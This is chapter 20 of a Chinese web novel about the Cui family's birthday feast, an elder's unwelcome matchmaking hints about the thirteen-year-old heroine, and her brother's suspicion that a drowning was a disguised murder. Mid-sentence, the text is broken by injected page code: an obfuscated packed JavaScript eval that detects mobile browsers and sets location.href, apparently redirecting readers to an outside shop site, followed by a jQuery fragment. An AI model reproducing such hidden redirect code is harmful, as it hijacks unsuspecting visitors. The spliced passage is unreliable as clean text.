20. 第 20 章
作品:《崔氏小饭馆》 从二牛虽然胖还又些矮,但人老实又善良,而且运气很好,在镇上的大酒楼做帮厨,到二牛一个月有一贯的薪水银,再到大酒楼包吃住,他们家一月可以存不少银子。
接着话风一转,到她家地里今年庄稼长得好,必定大丰收,再抒发了一下家里样样不缺,唯独缺个孙媳妇的遗憾。
话说到这里,饶是崔三娘再心不在焉,敷衍的嗯嗯嗯,也突然明白了她的意思。
不是吧?原身才十三岁,哪怕在这个时代,也绝不是适合议亲的年龄。
这还是个人吗?
崔三娘握着锅铲,真想一铲子打在这位为老不尊的长辈的头上。
“咣当!”
正在洗萝卜菜的大舅奶奶突然把盆一扔:“文老二,你嘚啵啥呢?闲着就来干活。”说着把眉一拧,半是发怒半是玩笑的喝道,“可把话给你挑明了,今儿干活的有得吃,不干活的只有收拾洗碗的份!”
“哪有这个道理,来者是客,我们都是客,得等着吃现成的!”文氏吐出瓜子壳,往大舅奶奶的方向挪了几步,“大嫂呀大嫂,你都有两位孙媳妇了,怎么还一天到晚的辛苦做事,你这辈子,和咱小姑子一样,半点福气都没享到唷。”
大舅奶奶翻个白眼:“放屁,谁说我没享福,我都有两个重孙子了,崔家也有家兴和安安,倒是你,天天唠闲嗑,家里一根苗都没有,你还不急?”
有后无后,有孙无孙,这是老一辈比拼打嘴仗的重磅筹码,文氏霎时哑火,灰溜溜走了。
“真有意思。”大舅奶奶对着她背影啐了一口。
崔三娘笑着向大舅奶奶投去一个感激的眼神:“大舅奶奶,饭菜置办得差不多了,你们也去前头坐着吧。”
大舅奶奶点点头,用水洗了把手,一边甩水一边说:“少和那老家伙说话,那是个老不正经的玩意。”
论起来,这位大舅奶奶比文氏还大五岁,要说老,她才更老,但她居然称别人为“老东西”。
崔三娘忍俊不禁:“好,我知道了。”
-
另外一边,一早又去城里的崔大郎骑着马回来了,手里提了一只卤鸭。
不一会,听说柳木森在崔家留饭,且今日是崔老太太寿辰,柳家仆人送了几样点心来。
崔三娘摆了盘,将这临时加的菜点也摆上了桌。
一桌在堂屋里,主要是男客,另外一桌摆在院子里,主要是孩子和女眷,两桌菜肴是一样的,当中一大罐清炖的土鸡汤,汤里烫了肉丸,边上是炸小鱼、卤鸭、爆炒猪肝、酸炒猪大肠等荤菜,除了时蔬,还有糖块果糕等点心,零零总总,数下来有十多样。
这已是很体面很丰盛了。
都是家人亲戚,崔老太太笑呵呵对大家道:“吃吃吃,都吃好喝好。”
都是肚里缺油水的人,便谁也没客气,大大方方吃起来。
崔家几个小孩,包括柳木森,因为一直在灶间帮忙,做好一个菜就尝几口,现在都吃得半饱了,不过一堆人吃饭就是开胃,又吃了不少,一个个吃得肚皮溜圆。
带着炊烟味的晚风吹过时,客人们陆续的告辞。
最先走的是二爷爷一家,其次是柳木森,接着大舅奶奶一家准备走了,不过这当二舅奶奶的文氏还磨磨蹭蹭。
崔三娘佯装没看见,到灶间安置碗筷。
大舅奶奶家的表婶子们帮忙把碗洗了,还用热水烫了一遍,崔三娘只要将碗归置到碗柜中。
院子里,崔老太太的大嫂罗氏一家走到了院门口,临走前,罗氏的大儿媳金氏冲文氏喊:“二叔,二婶子,跟我们一块儿走呗,路上有伴。”
文氏低头瞧着院里的土疙瘩:“我们歇一晚再回。”
罗氏立即高声接话:“你开啥玩笑,崔家有空屋给你俩住不?得啦,人家里事不少呢,别给人添麻烦,咱妹子面皮薄不好说你们,我不怕得罪人,我说!走走走,跟我们一块走。”
话说到这份上,文氏有些脸热,但她一心想留,要和崔老太太说说儿女小辈的婚姻大事,说白了,是见崔三娘出落的有模样,又有好手艺,看上了她,想说来给孙子做媳妇。
崔老太太还不知道二嫂的小心思,但她并不想哥嫂在家住,大嫂说的都是实在话,家里窄巴事情多,实在没太多功夫待客:“大哥大嫂,二哥二嫂,等忙过这段时间,我领孩子们去看你们。”
罗氏连连点头:“好,今年我家杀猪,到时候给你们递信,来我家吃杀猪菜。”
说着过来搀文氏的胳膊:“再不走天黑了。”
“那就走吧。”文氏的丈夫,崔老太太的二哥受不了这尴尬的氛围,僵笑着大跨步先出了院门。
丈夫都走了,文氏不好再赖着不走,只能白妯娌一眼,跟着出了院。
送走一屋子客人,喧嚣了一整日的崔家小院霎时变得安静。
崔老太太虽没下厨,忙前忙后的待客仍极耗体力:“今日早些歇息吧,这老胳膊老腿的,不中用咯。”
林氏提醒:“娘,礼金还没记呢。”
客人上门,自不会空手来,都带了礼物送了礼金,其中二爷爷一家是八十文礼金加一大口袋菜干,娘家这边,罗氏包了一百文礼金加一篮子鸡蛋,文氏俩口子给得最少,只有三十六文礼金,外加一袋酸不溜秋的野果子。
崔大郎取出崔家记录人情的簿册,将这些礼金礼物如数记下,以备今后还礼。
-
“哥,你今日进城干啥去了?”
今夜家人睡得早,崔三娘做了一天的菜,但也许是吃得太好,肚子有些涨,就没睡,借着月光在院里溜达,一会看看鸡鸭,一会到堂屋看看晾晒的山楂干,一会又思考要不要做些新吃食。
正消磨着时间,西厢的门嘎吱一声推开,崔大郎出来了。
起先崔三娘以为他是起夜如厕,但崔大郎在窄廊下踱着步子,显然也不想睡,正无聊的崔三娘便蹭过去同他说话。
崔大郎淡笑着:“还是不为衙门里的事。”
崔三娘一听就气哼哼的:“大哥休沐十日,是朝廷的规定,凭啥衙门里还给
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480626|201713||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你派事做,这不合规矩。”
崔大郎想解释,张了张嘴,却什么都说不出,自上次一时气闷,将自己在衙门中的困境说给崔三娘听后,崔大郎一直有点后悔,但这么多天,崔三娘一直保密,没有将他们谈话的内容透露出去,崔大郎又渐渐心安。
烦闷之事,自己独自煎熬,和有人倾听,是不一样的,虽然三娘并不能做什么。
“三娘,如果你遇见一件很棘手很危险,而且很急迫的事,你会怎么做?”
崔三娘歪着头想了想:“这事听上去很复杂呀。”
崔大郎叹口气:“是挺复杂的。”
今日他进城,一是为了完成柳云海的请求,柳云海经营的商铺从北方运来一批皮货,进城时被税关扣押了,柳云海想请崔大郎翻找一下档案,皮货进城,按律到底该抽多少税,有无暗地里的规矩。
崔大郎曾有一位王姓同窗,如今就在税埠当值,崔大郎便利用这层关系,替柳云海探到了消息。
进城的第二目的,还是为昨日意外发现的那些蹊跷事,崔大郎给这事取了个名,叫珍珠案。
昨天,他拉着新仵作姚希到一处茶摊坐下,问了当日验尸的种种细节,姚希说落水之人一般会奋力挣扎,手指间与喉咙鼻孔间会灌入水与泥沙,但当日那具尸体,鼻腔和口腔却相对干净,只有少量砂砾。
而且,后脖颈处有一处朦胧的淤青。
当时下着大雨,现场泥泞不堪,姚希只来得及匆匆一看,简略的写了文档签字之后,尸体被抬走,以便进一步细细验看。
“后来,师傅说我验错了,加上一村庄里有耕牛被毒死的案子,我得去乡下查耕牛的死状,那桩落水案便由师傅接手。”姚希蹙眉,“事情已盖棺定论,尸首也已被亲人认领,崔大哥,您问这些,要做什么?”
姚希应该隐约觉出了不对,话音有些颤抖:“我……这些只是我一家之言,我才入行一年,学艺不精。”
崔大郎闻弦知雅意,忙表示他们之间的谈话,不会透露给第二人,但昨晚他一夜也没睡,今日进城处理完柳云海嘱托的事情后,便去寻找一位曾做了几十载仵作,如今已闲退的老友询问。
他掐头去尾,将事情模模糊糊说了一遭,主要想讨论姚希提及的疑点。
老友捋着白胡子睨了崔大郎一眼,吐出两个字:“谋杀。”
崔大郎霎时脊背生寒。
老友在旁悠哉的喝茶:“我做了几十年仵作,经历过无数命案,凶手先杀人,后伪造成溺水、火灾等意外的,不胜枚举,这是很常见的掩盖手段,新手仵作或许很容易被蒙蔽,但像咱们这样的老手,呵呵,简直一目了然嘛。”
说着望向崔大郎:“你问这个做什么?想改学仵作了?你年纪不小了,恐怕不好学哟。”
崔大郎僵硬的笑着,没有回应老友的调侃。
他深深的陷入疑惑,如果珍珠案中的落水者是死于谋杀,那么,是谁在掩盖真相?
老仵作?老朱?还是衙门中级别更高的长官?目的又是什么?

